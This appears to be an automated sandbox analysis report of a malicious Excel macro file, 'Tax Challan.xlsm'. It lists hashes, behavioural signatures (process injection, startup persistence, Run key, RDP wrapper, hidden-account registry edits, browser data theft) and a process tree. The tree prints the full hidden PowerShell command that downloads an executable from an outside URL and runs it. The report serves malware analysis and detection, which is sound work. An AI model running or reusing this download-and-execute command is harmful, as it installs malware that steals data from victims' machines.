Analysis
-
max time kernel
150s -
max time network
149s -
platform
windows7_x64 -
resource
win7 -
submitted
16-07-2020 07:55
Static task
static1
Behavioral task
behavioral1
Sample
Tax Challan.xlsm
Resource
win7
Behavioral task
behavioral2
Sample
Tax Challan.xlsm
Resource
win10v200430
General
-
Target
Tax Challan.xlsm
-
Size
88KB
-
MD5
8927ad6be7ff24a708641467b7f699d5
-
SHA1
9973dad26ac516f3a4f413624fa908a828e5df9b
-
SHA256
5f005ef79f2a337aa3e3537f304316bdb931dffa3cecacadc1cd094c1414bf4f
-
SHA512
fa5d459357e53bdf963126d3f0fa7fc840a6bb62448807f9ee8e38e65a58d0f9f00c0bdefcb0df3a6186843e80e9870df2c7ae455fbb623dfc92264e5dddea34
Malware Config
Extracted
http://jurec.mx/doc.exe
Signatures
-
Suspicious use of WriteProcessMemory 1820 IoCs
Processes:
EXCEL.EXEcmd.exepowershell.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeimages.exeLkAnJ.exedescription pid process target process PID 608 wrote to memory of 452 608 EXCEL.EXE cmd.exe PID 608 wrote to memory of 452 608 EXCEL.EXE cmd.exe PID 608 wrote to memory of 452 608 EXCEL.EXE cmd.exe PID 452 wrote to memory of 792 452 cmd.exe powershell.exe PID 452 wrote to memory of 792 452 cmd.exe powershell.exe PID 452 wrote to memory of 792 452 cmd.exe powershell.exe PID 792 wrote to memory of 1312 792 powershell.exe LkAnJ.exe PID 792 wrote to memory of 1312 792 powershell.exe LkAnJ.exe PID 792 wrote to memory of 1312 792 powershell.exe LkAnJ.exe PID 792 wrote to memory of 1312 792 powershell.exe LkAnJ.exe PID 1312 wrote to memory of 1772 1312 LkAnJ.exe notepad.exe PID 1312 wrote to memory of 1772 1312 LkAnJ.exe notepad.exe PID 1312 wrote to memory of 1772 1312 LkAnJ.exe notepad.exe PID 1312 wrote to memory of 1772 1312 LkAnJ.exe notepad.exe PID 1312 wrote to memory of 1772 1312 LkAnJ.exe notepad.exe PID 1312 wrote to memory of 1772 1312 LkAnJ.exe notepad.exe PID 1312 wrote to memory of 1764 1312 LkAnJ.exe LkAnJ.exe PID 1312 wrote to memory of 1764 1312 LkAnJ.exe LkAnJ.exe PID 1312 wrote to memory of 1764 1312 LkAnJ.exe LkAnJ.exe PID 1312 wrote to memory of 1764 1312 LkAnJ.exe LkAnJ.exe PID 1312 wrote to memory of 1352 1312 LkAnJ.exe LkAnJ.exe PID 1312 wrote to memory of 1352 1312 LkAnJ.exe LkAnJ.exe PID 1312 wrote to memory of 1352 1312 LkAnJ.exe LkAnJ.exe PID 1312 wrote to memory of 1352 1312 LkAnJ.exe LkAnJ.exe PID 1764 wrote to memory of 1840 1764 LkAnJ.exe powershell.exe PID 1764 wrote to memory of 1840 1764 LkAnJ.exe powershell.exe PID 1764 wrote to memory of 1840 1764 LkAnJ.exe powershell.exe PID 1764 wrote to memory of 1840 1764 LkAnJ.exe powershell.exe PID 1764 wrote to memory of 1884 1764 LkAnJ.exe images.exe PID 1764 wrote to memory of 1884 1764 LkAnJ.exe images.exe PID 1764 wrote to memory of 1884 1764 LkAnJ.exe images.exe PID 1764 wrote to memory of 1884 1764 LkAnJ.exe images.exe PID 1352 wrote to memory of 1644 1352 LkAnJ.exe LkAnJ.exe PID 1352 wrote to memory of 1644 1352 LkAnJ.exe LkAnJ.exe PID 1352 wrote to memory of 1644 1352 LkAnJ.exe LkAnJ.exe PID 1352 wrote to memory of 1644 1352 LkAnJ.exe LkAnJ.exe PID 1884 wrote to memory of 1580 1884 images.exe notepad.exe PID 1884 wrote to memory of 1580 1884 images.exe notepad.exe PID 1884 wrote to memory of 1580 1884 images.exe notepad.exe PID 1884 wrote to memory of 1580 1884 images.exe notepad.exe PID 1884 wrote to memory of 1580 1884 images.exe notepad.exe PID 1884 wrote to memory of 1580 1884 images.exe notepad.exe PID 1884 wrote to memory of 1656 1884 images.exe images.exe PID 1884 wrote to memory of 1656 1884 images.exe images.exe PID 1884 wrote to memory of 1656 1884 images.exe images.exe PID 1884 wrote to memory of 1656 1884 images.exe images.exe PID 1884 wrote to memory of 1940 1884 images.exe images.exe PID 1884 wrote to memory of 1940 1884 images.exe images.exe PID 1884 wrote to memory of 1940 1884 images.exe images.exe PID 1884 wrote to memory of 1940 1884 images.exe images.exe PID 1644 wrote to memory of 1896 1644 LkAnJ.exe notepad.exe PID 1644 wrote to memory of 1896 1644 LkAnJ.exe notepad.exe PID 1644 wrote to memory of 1896 1644 LkAnJ.exe notepad.exe PID 1644 wrote to memory of 1896 1644 LkAnJ.exe notepad.exe PID 1644 wrote to memory of 1896 1644 LkAnJ.exe notepad.exe PID 1644 wrote to memory of 1896 1644 LkAnJ.exe notepad.exe PID 1644 wrote to memory of 1960 1644 LkAnJ.exe LkAnJ.exe PID 1644 wrote to memory of 1960 1644 LkAnJ.exe LkAnJ.exe PID 1644 wrote to memory of 1960 1644 LkAnJ.exe LkAnJ.exe PID 1644 wrote to memory of 1960 1644 LkAnJ.exe LkAnJ.exe PID 1644 wrote to memory of 1964 1644 LkAnJ.exe LkAnJ.exe PID 1644 wrote to memory of 1964 1644 LkAnJ.exe LkAnJ.exe PID 1644 wrote to memory of 1964 1644 LkAnJ.exe LkAnJ.exe PID 1644 wrote to memory of 1964 1644 LkAnJ.exe LkAnJ.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
Processes:
powershell.exepowershell.exepowershell.exeimages.exedescription pid process Token: SeDebugPrivilege 792 powershell.exe Token: SeDebugPrivilege 1840 powershell.exe Token: SeDebugPrivilege 652 powershell.exe Token: SeDebugPrivilege 1656 images.exe -
Loads dropped DLL 305 IoCs
Processes:
LkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exepid process 1312 LkAnJ.exe 1312 LkAnJ.exe 1764 LkAnJ.exe 1764 LkAnJ.exe 1352 LkAnJ.exe 1644 LkAnJ.exe 1644 LkAnJ.exe 1964 LkAnJ.exe 2044 LkAnJ.exe 2044 LkAnJ.exe 340 LkAnJ.exe 1056 LkAnJ.exe 1056 LkAnJ.exe 1520 LkAnJ.exe 1588 LkAnJ.exe 1588 LkAnJ.exe 1172 LkAnJ.exe 2044 LkAnJ.exe 2044 LkAnJ.exe 1488 LkAnJ.exe 1696 LkAnJ.exe 1696 LkAnJ.exe 1132 LkAnJ.exe 1980 LkAnJ.exe 1980 LkAnJ.exe 1836 LkAnJ.exe 1816 LkAnJ.exe 1816 LkAnJ.exe 788 LkAnJ.exe 1184 LkAnJ.exe 1184 LkAnJ.exe 1272 1056 LkAnJ.exe 1232 LkAnJ.exe 1232 LkAnJ.exe 1548 LkAnJ.exe 2040 LkAnJ.exe 2040 LkAnJ.exe 1908 LkAnJ.exe 1836 LkAnJ.exe 1836 LkAnJ.exe 1496 LkAnJ.exe 1680 LkAnJ.exe 1680 LkAnJ.exe 480 LkAnJ.exe 1252 LkAnJ.exe 1252 LkAnJ.exe 1412 LkAnJ.exe 1544 LkAnJ.exe 1544 LkAnJ.exe 1552 LkAnJ.exe 304 LkAnJ.exe 304 LkAnJ.exe 788 LkAnJ.exe 1768 LkAnJ.exe 1768 LkAnJ.exe 1724 LkAnJ.exe 1592 LkAnJ.exe 1592 LkAnJ.exe 2036 LkAnJ.exe 756 LkAnJ.exe 756 LkAnJ.exe 1836 LkAnJ.exe 1816 LkAnJ.exe -
Drops file in System32 directory 1 IoCs
Processes:
images.exedescription ioc process File created C:\Windows\System32\rfxvmt.dll images.exe -
NTFS ADS 1 IoCs
Processes:
LkAnJ.exedescription ioc process File created C:\ProgramData:ApplicationData LkAnJ.exe -
Drops file in Program Files directory 2 IoCs
Processes:
images.exedescription ioc process File created C:\Program Files\Microsoft DN1\sqlmap.dll images.exe File created C:\Program Files\Microsoft DN1\rdpwrap.ini images.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 608 EXCEL.EXE -
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 452 608 cmd.exe EXCEL.EXE -
Modifies service 2 TTPs 1 IoCs
Processes:
images.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\TermService\Parameters\ServiceDll = "%ProgramFiles%\\Microsoft DN1\\sqlmap.dll" images.exe -
Suspicious behavior: MapViewOfSection 100 IoCs
Processes:
LkAnJ.exeimages.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exepid process 1312 LkAnJ.exe 1884 images.exe 1644 LkAnJ.exe 2044 LkAnJ.exe 1056 LkAnJ.exe 1588 LkAnJ.exe 2044 LkAnJ.exe 1696 LkAnJ.exe 1980 LkAnJ.exe 1816 LkAnJ.exe 1184 LkAnJ.exe 1232 LkAnJ.exe 2040 LkAnJ.exe 1836 LkAnJ.exe 1680 LkAnJ.exe 1252 LkAnJ.exe 1544 LkAnJ.exe 304 LkAnJ.exe 1768 LkAnJ.exe 1592 LkAnJ.exe 756 LkAnJ.exe 1816 LkAnJ.exe 1516 LkAnJ.exe 616 LkAnJ.exe 1052 LkAnJ.exe 1176 LkAnJ.exe 784 LkAnJ.exe 1784 LkAnJ.exe 552 LkAnJ.exe 1616 LkAnJ.exe 1412 LkAnJ.exe 1844 LkAnJ.exe 2020 LkAnJ.exe 1856 LkAnJ.exe 1772 LkAnJ.exe 2064 LkAnJ.exe 2156 LkAnJ.exe 2248 LkAnJ.exe 2436 LkAnJ.exe 2532 LkAnJ.exe 2632 LkAnJ.exe 2724 LkAnJ.exe 2816 LkAnJ.exe 2908 LkAnJ.exe 3000 LkAnJ.exe 324 LkAnJ.exe 2148 LkAnJ.exe 2240 LkAnJ.exe 2292 LkAnJ.exe 2480 LkAnJ.exe 2592 LkAnJ.exe 392 LkAnJ.exe 2788 LkAnJ.exe 2860 LkAnJ.exe 2952 LkAnJ.exe 3040 LkAnJ.exe 2056 LkAnJ.exe 2172 LkAnJ.exe 2268 LkAnJ.exe 2568 LkAnJ.exe 2560 LkAnJ.exe 2732 LkAnJ.exe 2012 LkAnJ.exe 2876 LkAnJ.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Office loads VBA resources, possible macro or embedded object present
-
Drops startup file 33 IoCs
Processes:
LkAnJ.exenotepad.exenotepad.exenotepad.exenotepad.exenotepad.exenotepad.exenotepad.exenotepad.exenotepad.exenotepad.exenotepad.exenotepad.exenotepad.exenotepad.exenotepad.exenotepad.exenotepad.exenotepad.exenotepad.exenotepad.exenotepad.exenotepad.exenotepad.exenotepad.exenotepad.exenotepad.exenotepad.exenotepad.exenotepad.exenotepad.exenotepad.exedescription ioc process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\programs.bat LkAnJ.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdf.vbs notepad.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdf.vbs notepad.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdf.vbs notepad.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdf.vbs notepad.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdf.vbs notepad.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdf.vbs notepad.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdf.vbs notepad.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdf.vbs notepad.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdf.vbs notepad.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdf.vbs notepad.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdf.vbs notepad.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdf.vbs notepad.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdf.vbs notepad.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdf.vbs notepad.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdf.vbs notepad.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdf.vbs notepad.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdf.vbs notepad.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdf.vbs notepad.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdf.vbs notepad.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdf.vbs notepad.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdf.vbs notepad.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdf.vbs notepad.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdf.vbs notepad.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdf.vbs notepad.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdf.vbs notepad.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\programs.bat:start LkAnJ.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdf.vbs notepad.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdf.vbs notepad.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdf.vbs notepad.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdf.vbs notepad.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdf.vbs notepad.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdf.vbs notepad.exe -
Modifies WinLogon 2 TTPs 4 IoCs
Processes:
images.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts images.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\.p.C..e = "0" images.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AllowMultipleTSSessions = "1" images.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList images.exe -
Suspicious behavior: EnumeratesProcesses 2526 IoCs
Processes:
powershell.exeLkAnJ.exeLkAnJ.exeimages.exeLkAnJ.exeimages.exeLkAnJ.exepowershell.exeLkAnJ.exeLkAnJ.exepid process 792 powershell.exe 792 powershell.exe 1312 LkAnJ.exe 1352 LkAnJ.exe 1352 LkAnJ.exe 1352 LkAnJ.exe 1352 LkAnJ.exe 1352 LkAnJ.exe 1352 LkAnJ.exe 1352 LkAnJ.exe 1352 LkAnJ.exe 1352 LkAnJ.exe 1352 LkAnJ.exe 1352 LkAnJ.exe 1352 LkAnJ.exe 1352 LkAnJ.exe 1352 LkAnJ.exe 1352 LkAnJ.exe 1352 LkAnJ.exe 1352 LkAnJ.exe 1352 LkAnJ.exe 1352 LkAnJ.exe 1352 LkAnJ.exe 1884 images.exe 1644 LkAnJ.exe 1940 images.exe 1940 images.exe 1940 images.exe 1940 images.exe 1964 LkAnJ.exe 1964 LkAnJ.exe 1940 images.exe 1964 LkAnJ.exe 1940 images.exe 1964 LkAnJ.exe 1940 images.exe 1964 LkAnJ.exe 1940 images.exe 1964 LkAnJ.exe 1940 images.exe 1964 LkAnJ.exe 1940 images.exe 1964 LkAnJ.exe 1940 images.exe 1964 LkAnJ.exe 1840 powershell.exe 1940 images.exe 1964 LkAnJ.exe 1940 images.exe 1964 LkAnJ.exe 1940 images.exe 1964 LkAnJ.exe 2044 LkAnJ.exe 1940 images.exe 1940 images.exe 340 LkAnJ.exe 340 LkAnJ.exe 1940 images.exe 1940 images.exe 340 LkAnJ.exe 1940 images.exe 340 LkAnJ.exe 1940 images.exe 340 LkAnJ.exe -
Executes dropped EXE 300 IoCs
Processes:
LkAnJ.exeLkAnJ.exeLkAnJ.exeimages.exeLkAnJ.exeimages.exeimages.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exepid process 1312 LkAnJ.exe 1764 LkAnJ.exe 1352 LkAnJ.exe 1884 images.exe 1644 LkAnJ.exe 1656 images.exe 1940 images.exe 1960 LkAnJ.exe 1964 LkAnJ.exe 2044 LkAnJ.exe 1564 LkAnJ.exe 340 LkAnJ.exe 1056 LkAnJ.exe 1612 LkAnJ.exe 1520 LkAnJ.exe 1588 LkAnJ.exe 1576 LkAnJ.exe 1172 LkAnJ.exe 2044 LkAnJ.exe 512 LkAnJ.exe 1488 LkAnJ.exe 1696 LkAnJ.exe 1860 LkAnJ.exe 1132 LkAnJ.exe 1980 LkAnJ.exe 1936 LkAnJ.exe 1836 LkAnJ.exe 1816 LkAnJ.exe 2016 LkAnJ.exe 788 LkAnJ.exe 1184 LkAnJ.exe 1760 LkAnJ.exe 1056 LkAnJ.exe 1232 LkAnJ.exe 1256 LkAnJ.exe 1548 LkAnJ.exe 2040 LkAnJ.exe 1824 LkAnJ.exe 1908 LkAnJ.exe 1836 LkAnJ.exe 1816 LkAnJ.exe 1496 LkAnJ.exe 1680 LkAnJ.exe 1516 LkAnJ.exe 480 LkAnJ.exe 1252 LkAnJ.exe 1868 LkAnJ.exe 1412 LkAnJ.exe 1544 LkAnJ.exe 1976 LkAnJ.exe 1552 LkAnJ.exe 304 LkAnJ.exe 340 LkAnJ.exe 788 LkAnJ.exe 1768 LkAnJ.exe 1852 LkAnJ.exe 1724 LkAnJ.exe 1592 LkAnJ.exe 1256 LkAnJ.exe 2036 LkAnJ.exe 756 LkAnJ.exe 520 LkAnJ.exe 1836 LkAnJ.exe 1816 LkAnJ.exe -
Suspicious use of SetThreadContext 100 IoCs
Processes:
LkAnJ.exeimages.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exeLkAnJ.exedescription pid process target process PID 1312 set thread context of 1764 1312 LkAnJ.exe LkAnJ.exe PID 1884 set thread context of 1656 1884 images.exe images.exe PID 1644 set thread context of 1960 1644 LkAnJ.exe LkAnJ.exe PID 2044 set thread context of 1564 2044 LkAnJ.exe LkAnJ.exe PID 1056 set thread context of 1612 1056 LkAnJ.exe LkAnJ.exe PID 1588 set thread context of 1576 1588 LkAnJ.exe LkAnJ.exe PID 2044 set thread context of 512 2044 LkAnJ.exe LkAnJ.exe PID 1696 set thread context of 1860 1696 LkAnJ.exe LkAnJ.exe PID 1980 set thread context of 1936 1980 LkAnJ.exe LkAnJ.exe PID 1816 set thread context of 2016 1816 LkAnJ.exe LkAnJ.exe PID 1184 set thread context of 1760 1184 LkAnJ.exe LkAnJ.exe PID 1232 set thread context of 1256 1232 LkAnJ.exe LkAnJ.exe PID 2040 set thread context of 1824 2040 LkAnJ.exe LkAnJ.exe PID 1836 set thread context of 1816 1836 LkAnJ.exe LkAnJ.exe PID 1680 set thread context of 1516 1680 LkAnJ.exe LkAnJ.exe PID 1252 set thread context of 1868 1252 LkAnJ.exe LkAnJ.exe PID 1544 set thread context of 1976 1544 LkAnJ.exe LkAnJ.exe PID 304 set thread context of 340 304 LkAnJ.exe LkAnJ.exe PID 1768 set thread context of 1852 1768 LkAnJ.exe LkAnJ.exe PID 1592 set thread context of 1256 1592 LkAnJ.exe LkAnJ.exe PID 756 set thread context of 520 756 LkAnJ.exe LkAnJ.exe PID 1816 set thread context of 1760 1816 LkAnJ.exe LkAnJ.exe PID 1516 set thread context of 1840 1516 LkAnJ.exe LkAnJ.exe PID 616 set thread context of 2016 616 LkAnJ.exe LkAnJ.exe PID 1052 set thread context of 2012 1052 LkAnJ.exe LkAnJ.exe PID 1176 set thread context of 1576 1176 LkAnJ.exe LkAnJ.exe PID 784 set thread context of 1472 784 LkAnJ.exe LkAnJ.exe PID 1784 set thread context of 1528 1784 LkAnJ.exe LkAnJ.exe PID 552 set thread context of 788 552 LkAnJ.exe LkAnJ.exe PID 1616 set thread context of 1056 1616 LkAnJ.exe LkAnJ.exe PID 1412 set thread context of 480 1412 LkAnJ.exe LkAnJ.exe PID 1844 set thread context of 676 1844 LkAnJ.exe LkAnJ.exe PID 2020 set thread context of 480 2020 LkAnJ.exe LkAnJ.exe PID 1856 set thread context of 1836 1856 LkAnJ.exe LkAnJ.exe PID 1772 set thread context of 1764 1772 LkAnJ.exe LkAnJ.exe PID 2064 set thread context of 2104 2064 LkAnJ.exe LkAnJ.exe PID 2156 set thread context of 2196 2156 LkAnJ.exe LkAnJ.exe PID 2248 set thread context of 2288 2248 LkAnJ.exe LkAnJ.exe PID 2436 set thread context of 2476 2436 LkAnJ.exe LkAnJ.exe PID 2532 set thread context of 2572 2532 LkAnJ.exe LkAnJ.exe PID 2632 set thread context of 2672 2632 LkAnJ.exe LkAnJ.exe PID 2724 set thread context of 2764 2724 LkAnJ.exe LkAnJ.exe PID 2816 set thread context of 2856 2816 LkAnJ.exe LkAnJ.exe PID 2908 set thread context of 2948 2908 LkAnJ.exe LkAnJ.exe PID 3000 set thread context of 3040 3000 LkAnJ.exe LkAnJ.exe PID 324 set thread context of 520 324 LkAnJ.exe LkAnJ.exe PID 2148 set thread context of 2172 2148 LkAnJ.exe LkAnJ.exe PID 2240 set thread context of 2264 2240 LkAnJ.exe LkAnJ.exe PID 2292 set thread context of 2516 2292 LkAnJ.exe LkAnJ.exe PID 2480 set thread context of 2536 2480 LkAnJ.exe LkAnJ.exe PID 2592 set thread context of 2716 2592 LkAnJ.exe LkAnJ.exe PID 392 set thread context of 2784 392 LkAnJ.exe LkAnJ.exe PID 2788 set thread context of 1852 2788 LkAnJ.exe LkAnJ.exe PID 2860 set thread context of 2960 2860 LkAnJ.exe LkAnJ.exe PID 2952 set thread context of 3032 2952 LkAnJ.exe LkAnJ.exe PID 3040 set thread context of 2144 3040 LkAnJ.exe LkAnJ.exe PID 2056 set thread context of 2192 2056 LkAnJ.exe LkAnJ.exe PID 2172 set thread context of 2284 2172 LkAnJ.exe LkAnJ.exe PID 2268 set thread context of 2484 2268 LkAnJ.exe LkAnJ.exe PID 2568 set thread context of 1800 2568 LkAnJ.exe LkAnJ.exe PID 2560 set thread context of 2592 2560 LkAnJ.exe LkAnJ.exe PID 2732 set thread context of 480 2732 LkAnJ.exe LkAnJ.exe PID 2012 set thread context of 2836 2012 LkAnJ.exe LkAnJ.exe PID 2876 set thread context of 2976 2876 LkAnJ.exe LkAnJ.exe -
Suspicious behavior: LoadsDriver 5 IoCs
Processes:
pid process 1272 1272 1272 1272 1272 -
JavaScript code in executable 1 IoCs
Processes:
resource yara_rule \Users\Admin\AppData\Local\Temp\nss3.dll js -
Sets DLL path for service in the registry 2 TTPs
-
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
LkAnJ.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\Images = "C:\\ProgramData\\images.exe" LkAnJ.exe -
Suspicious use of SetWindowsHookEx 4 IoCs
Processes:
EXCEL.EXEimages.exepid process 608 EXCEL.EXE 608 EXCEL.EXE 608 EXCEL.EXE 1656 images.exe -
Blacklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 5 792 powershell.exe
Processes
-
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\Tax Challan.xlsm"1⤵
- Suspicious use of WriteProcessMemory
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:608 -
C:\Windows\system32\cmd.execmd /c powershell.exe -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://jurec.mx/doc.exe',$env:Temp+'\LkAnJ.exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\LkAnJ.exe')2⤵
- Suspicious use of WriteProcessMemory
- Process spawned unexpected child process
PID:452 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://jurec.mx/doc.exe',$env:Temp+'\LkAnJ.exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\LkAnJ.exe')3⤵
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
PID:792 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"4⤵
- Suspicious use of WriteProcessMemory
- Loads dropped DLL
- Suspicious behavior: MapViewOfSection
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1312 -
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"5⤵
- Drops startup file
PID:1772 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"5⤵
- Suspicious use of WriteProcessMemory
- Loads dropped DLL
- NTFS ADS
- Drops startup file
- Executes dropped EXE
